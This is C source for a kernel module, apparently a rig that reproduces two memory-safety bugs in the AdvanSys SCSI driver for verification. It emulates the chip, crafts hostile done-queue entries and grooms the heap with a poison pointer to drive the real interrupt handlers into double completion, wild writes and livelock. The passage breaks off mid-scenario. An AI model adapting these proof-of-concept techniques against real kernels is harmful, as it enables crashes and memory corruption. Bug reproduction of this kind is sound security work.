/*
 * df43xx_rig.c - verification rig for DF-4349 / DF-4350
 * (sys/dev/disk/advansys/advansys.c, AdvanSys narrow ASC SCSI HBA driver).
 *
 * This module contains ZERO driver logic.  It
 *
 *   1. fabricates the exact post-attach driver state (struct adv_softc
 *      with a REAL bus_dma tag + dmamaps, a ccb_infos array kmalloc'd
 *      exactly as production adv_attach() does - M_DEVBUF, NO M_ZERO -
 *      and ACTIVE ccb_info/ccb/list state exactly as production
 *      adv_execute_ccb() builds it);
 *   2. EMULATES THE ASC CHIP: the plain chip registers (CHIP_STATUS,
 *      CHIP_CTRL) as a flat register page behind the kernel's own
 *      bus_space MEM tag (tag = X86_64_BUS_SPACE_MEM), and the LRAM
 *      (address-latch at port 0xA + auto-incrementing data port at 0x8)
 *      with an x86 data-watchpoint (#DB) interceptor: DR0 watches the
 *      2-byte LRAM_ADDR latch, DR1 the 2-byte LRAM_DATA port, and a
 *      temporary IDT[1] handler services them exactly like the silicon.
 *      The done-queue entries (FWD bytes, ccb_index, status bytes,
 *      resid) are fully crafted - this is the device-fed input;
 *   3. DISPATCHES THE PRODUCTION HANDLERS of the RUNNING KERNEL
 *      (/boot/kernel/kernel - advansys.c is compiled into GENERIC):
 *      runtime addresses = nm(1) values (no KASLR on this guest),
 *      injected via sysctl kern.df43xx.*.addr.  adv_intr() is the real
 *      ISR entry; adv_run_doneq() is static/inlined into it; adv_done()
 *      and adv_copy_lram_doneq() are global and dispatched directly for
 *      the forensic runs.
 *
 * Scenarios (sysctl -w kern.df43xx.go=N):
 *   0  self-test: production adv_read/write_lram_* + adv_copy_lram_doneq
 *      round-trip against the emulated LRAM (proves the emulator exact).
 *   1  CONTROL: one legitimate done-queue entry -> production adv_intr
 *      completes the ACTIVE ccb cleanly and returns (guest alive).
 *   2  DF-4349 facet A: duplicated completion entry naming an already
 *      completed (ACCB_FREE) slot -> production adv_done() runs a second
 *      time on the stale ccb -> kernel page fault at 0x0
 *      (adv_free_ccb_info(adv, NULL), advansys.c:1261 via :1109).
 *   3  DF-4349 facet B: done entry naming an in-bounds but
 *      never-allocated slot (ccb_infos is kmalloc'd without M_ZERO,
 *      advansys.c:1296) whose ccb field was heap-groomed to poison
 *      0x41df41df41df -> ccb->csio.resid write (advansys.c:1108)
 *      page-faults at the poison address.
 *   4  DF-4350: cyclic device-fed FWD chain (entry 6 -> 7 -> 6)
 *      -> on the shipped kernel the unbounded walk revisits slot 0 and
 *      panics via the DF-4349 sink; with only DF-4349's validation fix
 *      the walk skips the completed slots and NEVER TERMINATES
 *      (livelock); with both fixes it stops at the budget.
 *   5  forensic double-completion of production adv_done() - survivable
 *      runs enumerating every corrupting op of the second completion:
 *      stale LIST_REMOVE hijack of adv->pending_ccbs (a live ccb is
 *      orphaned), free_ccb_infos self-cycle from double
 *      adv_free_ccb_info, and (5b) the recycled-dmamap unload of a LIVE
 *      mapping via a duplicated entry that names a recycled slot.
 *   6  scenario 4 dispatched from a dedicated kernel thread with
 *      heartbeat callouts + an LRAM-access counter sysctl - used to
 *      prove non-termination (livelock) on a kernel that has only the
 *      DF-4349 fix.
 *
 * Build: see build.sh.  Run: see run_df4349.sh / run_df4350.sh.
 */

#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/malloc.h>
#include <sys/module.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/bus.h>
#include <sys/kthread.h>
#include <sys/thread2.h>
#include <sys/callout.h>
#include <sys/time.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>
#include <bus/cam/cam_sim.h>
#include <bus/cam/scsi/scsi_all.h>
#include <machine/md_var.h>		/* setidt */
#include <machine/segments.h>		/* idt_arr, gate_descriptor, IDT_DB */

#include "advlib.h"			/* verbatim sys/dev/disk/advansys/advlib.h */

MALLOC_DEFINE(M_DF43XX, "df43xx", "DF-4349/4350 advansys verification rig");

/* ------------------------------------------------------------------ */
/* injected production handlers (nm /boot/kernel/kernel, no KASLR)     */
/* ------------------------------------------------------------------ */
static unsigned long	a_adv_intr, a_adv_done, a_adv_copy_lram_doneq;
static unsigned long	a_adv_read_lram_16, a_adv_read_lram_8;
static unsigned long	a_adv_write_lram_16, a_adv_write_lram_8;

typedef void		(*fn_adv_intr)(void *);
typedef void		(*fn_adv_done)(struct adv_softc *, union ccb *,
				     u_int, u_int, u_int, u_int);
typedef u_int8_t	(*fn_adv_copy_lram_doneq)(struct adv_softc *, u_int16_t,
						struct adv_q_done_info *,
						u_int32_t);
typedef u_int16_t	(*fn_adv_read_lram_16)(struct adv_softc *, u_int16_t);
typedef u_int8_t	(*fn_adv_read_lram_8)(struct adv_softc *, u_int16_t);
typedef void		(*fn_adv_write_lram_16)(struct adv_softc *, u_int16_t,
					      u_int16_t);
typedef void		(*fn_adv_write_lram_8)(struct adv_softc *, u_int16_t,
					     u_int8_t);

static fn_adv_intr		adv_intr_fn = (fn_adv_intr)1;
static fn_adv_done		adv_done_fn = (fn_adv_done)1;
static fn_adv_copy_lram_doneq	adv_copy_lram_doneq_fn =
    (fn_adv_copy_lram_doneq)1;
static fn_adv_read_lram_16	adv_read_lram_16_fn = (fn_adv_read_lram_16)1;
static fn_adv_read_lram_8	adv_read_lram_8_fn = (fn_adv_read_lram_8)1;
static fn_adv_write_lram_16	adv_write_lram_16_fn = (fn_adv_write_lram_16)1;
static fn_adv_write_lram_8	adv_write_lram_8_fn = (fn_adv_write_lram_8)1;

static int df43xx_go;

/* ------------------------------------------------------------------ */
/* ASC chip emulation                                                  */
/*                                                                     */
/* LRAM protocol (advlib.c): every access writes the 16-bit address    */
/* to LRAM_ADDR (port 0xA) and then reads/writes 16-bit words at the   */
/* LRAM_DATA port (0x8); each DATA access auto-increments the latch    */
/* (adv_get_q_info reads N words after one address write).  This is    */
/* implemented with hardware data watchpoints: DR0 = write-only on the */
/* 2-byte latch, DR1 = read/write on the 2-byte data port.  A          */
/* temporary IDT[1] (#DB) gate services the traps.                     */
/* ------------------------------------------------------------------ */
#define ADV_REG_LRAM_DATA	0x0008	/* advlib.h */
#define ADV_REG_LRAM_ADDR	0x000A
#define ADV_REG_CHIP_STATUS	0x000E
#define ADV_REG_CHIP_CTRL	0x000F
#define IDT_DB_VEC		IDT_DB	/* machine/segments.h: 1 */
#define DR7_VALUE		(0x1UL | (0x1UL<<2) |		/* L0|L1 */ \
				 (0x1UL<<16) | (0x1UL<<18) |	/* RW0=w LEN0=2 */ \
				 (0x3UL<<20) | (0x1UL<<22))	/* RW1=rw LEN1=2 */

static uint8_t		lram[0x10000] __aligned(4096); /* adapter LRAM */
static volatile u_int	lram_ptr;		/* latched address */
static uint8_t	       *regpage;		/* flat chip regs */
static u_long		dbg_hits;		/* data-port services */
static u_long		latch_hits;

/* idt_arr[][] and setidt() are declared by <machine/segments.h> and
 * <machine/md_var.h> */
extern void		df_dbg_stub(void);	/* asm stub below */

/* raw DR register access */
static __inline unsigned long
rd_dr(int n)
{
	unsigned long v;

	switch (n) {
	case 0: __asm __volatile("movq %%dr0,%0" : "=r"(v)); break;
	case 1: __asm __volatile("movq %%dr1,%0" : "=r"(v)); break;
	case 6: __asm __volatile("movq %%dr6,%0" : "=r"(v)); break;
	case 7: __asm __volatile("movq %%dr7,%0" : "=r"(v)); break;
	default: v = 0;
	}
	return (v);
}

static __inline void
wr_dr(int n, unsigned long v)
{
	switch (n) {
	case 0: __asm __volatile("movq %0,%%dr0" :: "r"(v)); break;
	case 1: __asm __volatile("movq %0,%%dr1" :: "r"(v)); break;
	case 6: __asm __volatile("movq %0,%%dr6" :: "r"(v)); break;
	case 7: __asm __volatile("movq %0,%%dr7" :: "r"(v)); break;
	}
}

/*
 * #DB service routine (called from the asm stub with DR7 cleared).
 * dr6: B0 (bit0) = write hit on LRAM_ADDR latch,
 *      B1 (bit1) = read/write hit on LRAM_DATA port.
 */
static void __attribute__((noinline, used))
df_dbg_service(unsigned long dr6)
{
	u_int16_t v;
	u_int a;

	if (dr6 & 1) {
		latch_hits++;
		/* the latch write has completed: page[0xA] holds L */
		lram_ptr = *(volatile u_int16_t *)(regpage + ADV_REG_LRAM_ADDR);
		a = lram_ptr & 0xFFFE;
		/* pre-arm the data port with the addressed word */
		*(volatile u_int16_t *)(regpage + ADV_REG_LRAM_DATA) =
		    *(volatile u_int16_t *)&lram[a];
	}
	if (dr6 & 2) {
		dbg_hits++;
		/* a data-port access completed */
		v = *(volatile u_int16_t *)(regpage + ADV_REG_LRAM_DATA);
		a = lram_ptr & 0xFFFE;
		if (v != *(volatile u_int16_t *)&lram[a])
			*(volatile u_int16_t *)&lram[a] = v;	/* was a write */
		lram_ptr = ((lram_ptr & 0xFFFE) + 2) & 0xFFFF;	/* increment */
		*(volatile u_int16_t *)(regpage + ADV_REG_LRAM_DATA) =
		    *(volatile u_int16_t *)&lram[lram_ptr & 0xFFFE];
	}
}

/*
 * asm stub for IDT[1]: no error code for #DB; we are on the IST2 stack
 * (interrupt gate, IF cleared).  Saves argument registers, disables the
 * watchpoints (DR7=0), calls the service function, re-arms, clears DR6
 * status and iretqs.
 */
__asm__(
".text\n"
".globl df_dbg_stub\n"
".type df_dbg_stub,@function\n"
"df_dbg_stub:\n"
"	pushq %rax\n"
"	pushq %rcx\n"
"	pushq %rdx\n"
"	pushq %rsi\n"
"	pushq %rdi\n"
"	pushq %r8\n"
"	pushq %r9\n"
"	pushq %r10\n"
"	pushq %r11\n"
"	movq %dr6,%rdi\n"
"	movq %dr7,%rax\n"
"	pushq %rax\n"
"	xorq %rax,%rax\n"
"	movq %rax,%dr7\n"
"	subq $8,%rsp\n"
"	call df_dbg_service\n"
"	addq $8,%rsp\n"
"	popq %rax\n"
"	movq %rax,%dr7\n"
"	xorq %rax,%rax\n"
"	movq %rax,%dr6\n"
"	popq %r11\n"
"	popq %r10\n"
"	popq %r9\n"
"	popq %r8\n"
"	popq %rdi\n"
"	popq %rsi\n"
"	popq %rdx\n"
"	popq %rcx\n"
"	popq %rax\n"
"	iretq\n"
);

static unsigned long	sav_dr0, sav_dr1, sav_dr7;
static struct gate_descriptor sav_gate;
static int		wps_active;

static void
wps_enable(void)
{
	int cpu = mycpuid;

	KKASSERT(!wps_active);
	sav_gate = idt_arr[cpu][IDT_DB_VEC];
	setidt(IDT_DB_VEC, (alias_for_inthand_t *)&df_dbg_stub, SDT_SYSIGT,
	    0 /*SEL_KPL*/, 2 /*IST2*/, cpu);

	sav_dr0 = rd_dr(0);
	sav_dr1 = rd_dr(1);
	sav_dr7 = rd_dr(7);
	wr_dr(6, 0);
	wr_dr(0, (unsigned long)(regpage + ADV_REG_LRAM_ADDR));
	wr_dr(1, (unsigned long)(regpage + ADV_REG_LRAM_DATA));
	__asm __volatile("" ::: "memory");
	wr_dr(7, DR7_VALUE);
	wps_active = 1;
}

static void
wps_disable(void)
{
	int cpu = mycpuid;

	if (!wps_active)
		return;
	wr_dr(7, 0);
	wr_dr(0, sav_dr0);
	wr_dr(1, sav_dr1);
	wr_dr(7, sav_dr7);
	wr_dr(6, 0);
	__asm __volatile("" ::: "memory");
	idt_arr[cpu][IDT_DB_VEC] = sav_gate;
	wps_active = 0;
}

/* shadow LRAM crafting */
static void
lram_w16(u_int a, u_int16_t v)
{

	*(u_int16_t *)&lram[a & 0xFFFE] = v;
}

static void
lram_w32(u_int a, u_int32_t v)
{

	/* unaligned 32-bit stores are fine on x86 (shadow array) */
	*(u_int32_t *)&lram[a] = v;
}

/*
 * Craft a done-queue entry at queue number qno:
 *   FWD byte, QS_DONE status word, cntl word (no SG), done-info block
 *   (14 contiguous bytes: d2[0..9] then d3[0..3] - the get_q_info i==5
 *   skip only skips the struct's alignment pad), split resid words.
 */
static void
craft_done_entry(u_int qno, u_int32_t ccb_index, u_int8_t fwd,
		 u_int32_t remain)
{
	u_int q = 0x4000 + ((qno & 0xFF) << 6);	/* ADV_QNO_TO_QADDR */

	lram[q + 0] = fwd;			/* ADV_SCSIQ_B_FWD */
	lram_w16(q + 2, (qno << 8) | QS_DONE);	/* B_STATUS: q_no|status */
	lram_w16(q + 4, 0);			/* B_CNTL: cntl=0 sg=0 */
	lram_w16(q + 20, 0);			/* B_SENSE_LEN */
	lram_w32(q + 22 + 0, ccb_index);	/* d2.ccb_index */
	lram[q + 22 + 4] = 0;			/* target_ix */
	lram[q + 22 + 5] = 0;			/* flag */
	lram[q + 22 + 6] = 0;			/* cdb_len */
	lram[q + 22 + 7] = 0;			/* tag_code */
	lram_w16(q + 22 + 8, 0);		/* vm_id */
	lram[q + 22 + 10] = QD_NO_ERROR;	/* d3.done_stat */
	lram[q + 22 + 11] = QHSTA_NO_ERROR;	/* d3.host_stat */
	lram[q + 22 + 12] = 0;			/* d3.scsi_stat = OK */
	lram[q + 22 + 13] = 0;			/* d3.scsi_msg */
	lram_w16(q + 52, (remain >> 16) & 0xFFFF);	/* W_ALT_DC1 */
	lram_w16(q + 60, remain & 0xFFFF);		/* DW_REMAIN_XFER_CNT */
}

static void
craft_doneq_tail(u_int tail_qno)
{

	lram_w16(0x5A /*ADVV_DONE_Q_TAIL_W*/, tail_qno);
}

/* ------------------------------------------------------------------ */
/* fabricated post-attach softc                                        */
/* ------------------------------------------------------------------ */
#define RIG_MAX_OPENINGS	16
#define RIG_POISON		0x000041df41df41dfUL /* canonical, unmapped */

struct rig_softc {
	struct adv_softc	*adv;
	uint8_t			*regpage;
	bus_dma_tag_t		 dmat;
	union ccb		*ccbs[RIG_MAX_OPENINGS];
	struct callout		*cos[RIG_MAX_OPENINGS];
	void			*bufs[RIG_MAX_OPENINGS];
	int			 nactive;
	int			 groomed;
};

static void
rig_map(void *arg, bus_dma_segment_t *segs, int nseg, int error)
{
	/* adv_map() verbatim */
	bus_addr_t *physaddr = (bus_addr_t *)arg;

	if (error == 0 && nseg > 0)
		*physaddr = segs->ds_addr;
}

static void
rig_destroy(struct rig_softc *rs)
{
	struct adv_softc *adv = rs->adv;
	int i;

	for (i = 0; i < rs->nactive; i++) {
		if (rs->ccbs[i] && rs->bufs[i])
			bus_dmamap_unload(rs->dmat, adv->ccb_infos[i].dmamap);
		if (rs->bufs[i])
			kfree(rs->bufs[i], M_DF43XX);
		if (rs->ccbs[i])
			kfree(rs->ccbs[i], M_DF43XX);
		if (rs->cos[i]) {
			callout_stop(rs->cos[i]);
			kfree(rs->cos[i], M_DF43XX);
		}
	}
	/* dmamaps for allocated slots */
	for (i = 0; i < adv->ccb_infos_allocated && i < RIG_MAX_OPENINGS; i++)
		if (adv->ccb_infos[i].dmamap != NULL)
			bus_dmamap_destroy(rs->dmat, adv->ccb_infos[i].dmamap);
	if (adv->sense_buffers)
		kfree(adv->sense_buffers, M_DF43XX);
	if (adv->ccb_infos)
		kfree(adv->ccb_infos, M_DEVBUF);	/* production alloc */
	if (rs->dmat)
		bus_dma_tag_destroy(rs->dmat);
	kfree(rs->regpage, M_DF43XX);
	kfree(adv, M_DF43XX);
	kfree(rs, M_DF43XX);
}

/*
 * Build the post-attach state.  nactive slots are ACCB_ACTIVE with real
 * dmamaps and ccbs linked into adv->pending_ccbs exactly as
 * adv_execute_ccb() leaves them.  If groom != 0, the ccb_infos array is
 * pre-populated with a poison pattern through a same-size alloc/free
 * cycle first (the production allocation at advansys.c:1296 is
 * kmalloc(..., M_DEVBUF, M_WAITOK) - no M_ZERO - so unallocated slots
 * contain prior heap contents on real hardware too).
 */
static struct rig_softc *
rig_build(int nactive, int nallocated, int groom)
{
	struct rig_softc *rs;
	struct adv_softc *adv;
	void *groomblk;
	int i, sz;

	rs = kmalloc(sizeof(*rs), M_DF43XX, M_WAITOK | M_ZERO);
	rs->nactive = nactive;
	rs->groomed = groom;

	rs->regpage = kmalloc(16, M_DF43XX, M_WAITOK | M_ZERO);
	/* chip status: interrupt pending, not halted, no bus reset */
	*(u_int16_t *)(rs->regpage + ADV_REG_CHIP_STATUS) = 0x0001;
	kprintf("df43xx-b: regpage ok\n");

	adv = rs->adv = kmalloc(sizeof(*adv), M_DF43XX, M_WAITOK | M_ZERO);
	adv->tag = 1;			/* X86_64_BUS_SPACE_MEM */
	adv->bsh = (bus_space_handle_t)(uintptr_t)rs->regpage;
	adv->unit = 9;
	adv->state = 0;			/* not in timeout/shortage recovery */
	adv->max_openings = RIG_MAX_OPENINGS;
	adv->cur_active = nactive;
	adv->max_dma_count = 0xFFFFFFFF;
	adv->ccb_infos_allocated = nallocated;
	kprintf("df43xx-b: softc ok\n");

	/* real bus DMA tag (bounce buffers so map state is observable).
	 * lowaddr = 2GB: the bounce-page pool allocates below 2GB fast
	 * (first pass), while the forensic data buffer is contigmalloc'd
	 * above 2GB so loading it genuinely bounces.  A low ceiling
	 * (16MB/256MB) wedges contigmalloc's slow-clean path under the vm
	 * token on a 4GB guest. */
	if (bus_dma_tag_create(NULL, /*parent*/1, /*align*/0,
			       /*lowaddr*/0x7FFFFFFF, /*force bouncing*/
			       /*highaddr*/BUS_SPACE_MAXADDR,
			       /*maxsize*/MAXPHYS, /*nsegs*/16,
			       /*maxsegsz*/BUS_SPACE_MAXSIZE_32BIT,
			       /*flags*/0, &rs->dmat) != 0) {
		kprintf("df43xx: bus_dma_tag_create failed\n");
		rs->dmat = NULL;
		rig_destroy(rs);
		return (NULL);
	}
	adv->parent_dmat = rs->dmat;
	adv->buffer_dmat = rs->dmat;
	kprintf("df43xx-b: bus_dma_tag ok\n");

	/* production ccb_infos allocation: M_DEVBUF, NO M_ZERO (:1296) */
	sz = sizeof(struct adv_ccb_info) * adv->max_openings;
	if (groom) {
		groomblk = kmalloc(sz, M_DEVBUF, M_WAITOK);
		memset(groomblk, 0x6b, sz);
		for (i = 0; i < adv->max_openings; i++) {
			struct adv_ccb_info *ci =
			    (struct adv_ccb_info *)((uint8_t *)groomblk +
			    i * sizeof(struct adv_ccb_info));
			*(uintptr_t *)&ci->ccb = RIG_POISON;
		}
		kfree(groomblk, M_DEVBUF);
	}
	adv->ccb_infos = kmalloc(sz, M_DEVBUF, M_WAITOK);
	kprintf("df43xx-b: ccb_infos alloc ok\n");
	LIST_INIT(&adv->pending_ccbs);
	SLIST_INIT(&adv->free_ccb_infos);
	adv->sense_buffers = kmalloc(sizeof(struct scsi_sense_data) *
	    adv->max_openings, M_DF43XX, M_WAITOK | M_ZERO);
	kprintf("df43xx-b: sense ok\n");

	/* ACTIVE slots exactly as adv_execute_ccb() builds them */
	for (i = 0; i < nactive; i++) {
		struct adv_ccb_info *cinfo = &adv->ccb_infos[i];
		union ccb *ccb;
		struct callout *co;

		cinfo->state = ACCB_ACTIVE;
		kprintf("df43xx-b: slot %d dmamap_create...\n", i);
		if (bus_dmamap_create(rs->dmat, 0, &cinfo->dmamap) != 0) {
			kprintf("df43xx: dmamap_create failed\n");
			rig_destroy(rs);
			return (NULL);
		}
		kprintf("df43xx-b: slot %d dmamap ok, ccb+callout kmalloc...\n", i);
		ccb = rs->ccbs[i] = kmalloc(sizeof(union ccb), M_DF43XX,
					    M_WAITOK | M_ZERO);
		co = rs->cos[i] = kmalloc(sizeof(*co), M_DF43XX,
					  M_WAITOK | M_ZERO);
		kprintf("df43xx-b: slot %d callout_init...\n", i);
		callout_init(co);
		kprintf("df43xx-b: slot %d callout ok\n", i);
		ccb->ccb_h.func_code = XPT_NOOP;	/* xpt_done noop */
		ccb->ccb_h.flags = CAM_DIR_NONE;	/* skip dmamap ops */
		ccb->ccb_h.status = CAM_REQ_INPROG | CAM_SIM_QUEUED;
		ccb->ccb_h.timeout_ch = co;
		ccb->ccb_h.ccb_cinfo_ptr = cinfo;
		cinfo->ccb = ccb;
		LIST_INSERT_HEAD(&adv->pending_ccbs, &ccb->ccb_h,
		    sim_links.le);
	}

	regpage = rs->regpage;
	kprintf("df43xx: softc=%p regpage=%p ccb_infos=%p (sz %d) "
	    "nactive=%d nallocated=%d groom=%d sz(adv_ccb_info)=%zu "
	    "sz(adv_softc)=%zu off(csio.resid)=%zu off(ccb_info.ccb)=%zu\n",
	    adv, rs->regpage, adv->ccb_infos, sz, nactive, nallocated, groom,
	    sizeof(struct adv_ccb_info), sizeof(struct adv_softc),
	    offsetof(union ccb, csio.resid),
	    offsetof(struct adv_ccb_info, ccb));
	if (groom)
		kprintf("df43xx: unallocated slot 10 ccb = 0x%016jx "
		    "(poison present: %s) - expect resid write at "
		    "0x%016jx\n",
		    (uintmax_t)*(uintptr_t *)(void *)&adv->ccb_infos[10].ccb,
		    *(uintptr_t *)(void *)&adv->ccb_infos[10].ccb ==
		    RIG_POISON ? "YES" : "NO",
		    (uintmax_t)(RIG_POISON +
		    offsetof(union ccb, csio.resid)));
	return (rs);
}

/* map load helper for the dmamap scenarios */
static bus_addr_t
rig_load(struct rig_softc *rs, int slot, void *buf, size_t len)
{
	bus_addr_t pa = 0;

	rs->bufs[slot] = buf;
	bus_dmamap_load(rs->dmat, rs->adv->ccb_infos[slot].dmamap, buf, len,
	    rig_map, &pa, 0);
	return (pa);
}

/* first word of the free list / pending list - forensic state prints */
static void
print_pending(struct adv_softc *adv, const char *tag)
{
	struct ccb_hdr *ch;
	int n = 0;

	kprintf("df43xx%s: pending_ccbs:", tag);
	for (ch = LIST_FIRST(&adv->pending_ccbs); ch != NULL && n < 8;
	     ch = LIST_NEXT(ch, sim_links.le), n++)
		kprintf(" %p", ch);
	kprintf("%s\n", n == 8 ? " ..." : "");
}

/* first field of struct bus_dmamap is the bounce-page list head */
static void *
map_bpages(bus_dmamap_t map)
{

	if (map == NULL)
		return (NULL);
	return (*(void **)(uintptr_t)map);
}

/* ------------------------------------------------------------------ */
/* scenario 0: LRAM emulator self-test via PRODUCTION accessors        */
/* ------------------------------------------------------------------ */
static int
sc_selftest(void)
{
	struct rig_softc *rs;
	struct adv_q_done_info scsiq;
	u_int8_t sgcnt;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(0, 0, 0);
	if (rs == NULL)
		return (ENOMEM);

	/* raw accessor tests */
	lram_w16(0x300, 0xABCD);
	lram_w16(0x302, 0x1234);
	crit_enter();
	wps_enable();
	kprintf("df43xx[0]: read_lram_16(0x300)=0x%04x (want abcd)\n",
	    adv_read_lram_16_fn(rs->adv, 0x300));
	kprintf("df43xx[0]: read_lram_8(0x301)=0x%02x (want ab)\n",
	    adv_read_lram_8_fn(rs->adv, 0x301));
	adv_write_lram_16_fn(rs->adv, 0x304, 0x5A5A);
	wps_disable();
	crit_exit();
	kprintf("df43xx[0]: after write_lram_16(0x304,0x5a5a): "
	    "lram16(0x304)=0x%04x (want 5a5a)\n",
	    *(u_int16_t *)&lram[0x304]);
	crit_enter();
	wps_enable();
	adv_write_lram_8_fn(rs->adv, 0x305, 0x11);
	wps_disable();
	crit_exit();
	kprintf("df43xx[0]: after write_lram_8(0x305,0x11): "
	    "lram16(0x304)=0x%04x (want 115a: read-modify-write byte lane)\n",
	    *(u_int16_t *)&lram[0x304]);

	/* done-info round trip through production adv_copy_lram_doneq */
	craft_doneq_tail(1);
	craft_done_entry(1, 0, 6, 0);
	craft_done_entry(6, 0x2A, 0xFF, 0x13579BDF);
	memset(&scsiq, 0xEE, sizeof(scsiq));
	crit_enter();
	wps_enable();
	sgcnt = adv_copy_lram_doneq_fn(rs->adv, 0x4000 + (6 << 6), &scsiq,
	    0xFFFFFFFF);
	wps_disable();
	crit_exit();
	kprintf("df43xx[0]: copy_lram_doneq sgcnt=%d ccb_index=0x%08x "
	    "(want 0000002a) q_status=%02x (want %02x) q_no=%d (want 6) "
	    "cntl=%02x sense_len=%02x done_stat=%02x (want 01) "
	    "host_stat=%02x scsi_stat=%02x remain=0x%08x (want 13579bdf)\n",
	    sgcnt, scsiq.d2.ccb_index, scsiq.q_status, QS_DONE, scsiq.q_no,
	    scsiq.cntl, scsiq.sense_len, scsiq.d3.done_stat,
	    scsiq.d3.host_stat, scsiq.d3.scsi_stat, scsiq.remain_bytes);
	if (scsiq.d2.ccb_index == 0x2A && scsiq.q_status == QS_DONE &&
	    scsiq.q_no == 6 && scsiq.d3.done_stat == QD_NO_ERROR &&
	    scsiq.d3.host_stat == QHSTA_NO_ERROR &&
	    scsiq.remain_bytes == 0x13579BDF && sgcnt == 0)
		kprintf("df43xx[0]: EMULATOR SELF-TEST PASS - production "
		    "accessors read the crafted LRAM exactly\n");
	else
		kprintf("df43xx[0]: *** EMULATOR SELF-TEST FAIL ***\n");

	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 1: CONTROL - one legitimate completion through adv_intr    */
/* ------------------------------------------------------------------ */
static int
sc_control(void)
{
	struct rig_softc *rs;
	struct adv_softc *adv;
	union ccb *ccb;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;
	ccb = rs->ccbs[0];

	craft_doneq_tail(1);			/* tail holder entry 1 */
	craft_done_entry(1, 0, 6, 0);		/* entry1.fwd = 6 */
	craft_done_entry(6, 0, 0xFF, 0x41424344); /* completes slot 0 */

	kprintf("df43xx[1]: dispatching production adv_intr: legit done "
	    "entry q6 ccb_index=0 (ACTIVE) fwd=0xff\n");
	crit_enter();
	wps_enable();
	kprintf("df43xx[1]: wps on, dispatching adv_intr\n");
	adv_intr_fn(adv);
	wps_disable();
	crit_exit();
	kprintf("df43xx[1]: adv_intr RETURNED (guest alive)\n");

	kprintf("df43xx[1]: post-state: slot0.state=0x%02x (ACCB_FREE=%02x) "
	    "free_ccb_infos.slh_first=%p (==&slot0: %s) "
	    "ccb_cinfo_ptr=%p (nulled: %s) ccb_h.status=0x%08x "
	    "(CAM_REQ_CMP=0x%02x) csio.resid=0x%08x (want 41424344)\n",
	    adv->ccb_infos[0].state, ACCB_FREE,
	    SLIST_FIRST(&adv->free_ccb_infos),
	    SLIST_FIRST(&adv->free_ccb_infos) == &adv->ccb_infos[0] ?
	    "YES" : "NO",
	    ccb->ccb_h.ccb_cinfo_ptr,
	    ccb->ccb_h.ccb_cinfo_ptr == NULL ? "YES" : "NO",
	    ccb->ccb_h.status, CAM_REQ_CMP, ccb->csio.resid);
	print_pending(adv, "[1]");
	kprintf("df43xx[1]: LRAM: entry6.status=0x%02x (marked-free "
	    "write-back, want %02x) doneq_tail=0x%04x (want 0006)\n",
	    lram[0x4000 + (6 << 6) + 2], QS_DONE & ~(QS_READY | QS_ABORTED),
	    *(u_int16_t *)&lram[0x5A]);

	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 2: DF-4349 facet A - duplicated entry for a completed slot */
/* ------------------------------------------------------------------ */
static int
sc_df4349_facetA(void)
{
	struct rig_softc *rs;
	struct adv_softc *adv;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 0);
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;

	craft_doneq_tail(1);
	craft_done_entry(1, 0, 6, 0);
	craft_done_entry(6, 0, 7, 0x11111111);	/* complete slot 0 ... */
	craft_done_entry(7, 0, 0xFF, 0x22222222);/* ... and AGAIN */

	kprintf("df43xx[2]: DF-4349 facet A: done entries q6,q7 BOTH name "
	    "ccb_index=0; first completes the ACTIVE ccb, second "
	    "re-completes the now-ACCB_FREE slot through production "
	    "adv_run_doneq/adv_done - expect: 1 clean completion, then "
	    "stale LIST_REMOVE (:1127) + NULL-cinfo "
	    "adv_free_ccb_info (:1261) page fault at 0x0\n");
	crit_enter();
	wps_enable();
	kprintf("df43xx[2]: wps on, dispatching adv_intr\n");
	adv_intr_fn(adv);			/* <<< PRODUCTION CODE */
	wps_disable();
	crit_exit();
	kprintf("df43xx[2]: adv_intr RETURNED - no double completion "
	    "(patched kernel?)\n");
	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 3: DF-4349 facet B - never-allocated slot, poisoned ccb    */
/* ------------------------------------------------------------------ */
static int
sc_df4349_facetB(void)
{
	struct rig_softc *rs;
	struct adv_softc *adv;

	memset(lram, 0, sizeof(lram));
	rs = rig_build(1, 1, 1);			/* groom poison */
	if (rs == NULL)
		return (ENOMEM);
	adv = rs->adv;

	craft_doneq_tail(1);
	craft_done_entry(1, 0, 6, 0);
	craft_done_entry(6, 10, 0xFF, 0x33333333); /* slot 10: in bounds
						    * (< max_openings 16)
						    * but >= allocated 1 */

	kprintf("df43xx[3]: DF-4349 facet B: done entry q6 names "
	    "ccb_index=10 (in bounds, never allocated, ccb=poison) - "
	    "expect ccb->csio.resid write (advansys.c:1108) to fault at "
	    "0x%016jx\n",
	    (uintmax_t)(RIG_POISON + offsetof(union ccb, csio.resid)));
	crit_enter();
	wps_enable();
	kprintf("df43xx[3]: wps on, dispatching adv_intr\n");
	adv_intr_fn(adv);			/* <<< PRODUCTION CODE */
	wps_disable();
	crit_exit();
	kprintf("df43xx[3]: adv_intr RETURNED - no wild write (patched "
	    "kernel?)\n");
	rig_destroy(rs);
	return (0);
}

/* ------------------------------------------------------------------ */
/* scenario 4/6: DF-4350 - cyclic device-fed FWD chain                 */
/* ------------------------------------------------------------------ */
static struct rig_softc *cy_rs;
static struct thread	*cy_td;
static volatile int	 cy_entering, cy_returned, cy_hb;
static struct callout	 cy_co;
static struct timeval	 cy_t0;

static void
sc_df4350_setup(void)
{

	memset(lram, 0, sizeof(lram));
	cy_rs = rig_build(2, 2, 0);
	if (cy_rs == NULL)
		return;
	craft_doneq_tail(1);
	craft_done_entry(1, 0, 6, 0);
	craft_done_entry(6, 0, 7, 0);		/* entry 6 -> 7 */
	craft_done_entry(7, 1, 6, 0);		/* entry 7 -> 6: CYCLE */
}

static int
sc_df4350_sync(void)
{

	sc_df4350_setup();
	if (cy_rs == NULL)
		return (ENOMEM);
	kprintf("df43xx[4]: DF-4350: cyclic FWD chain 6->7->6 (slots 0,1 "
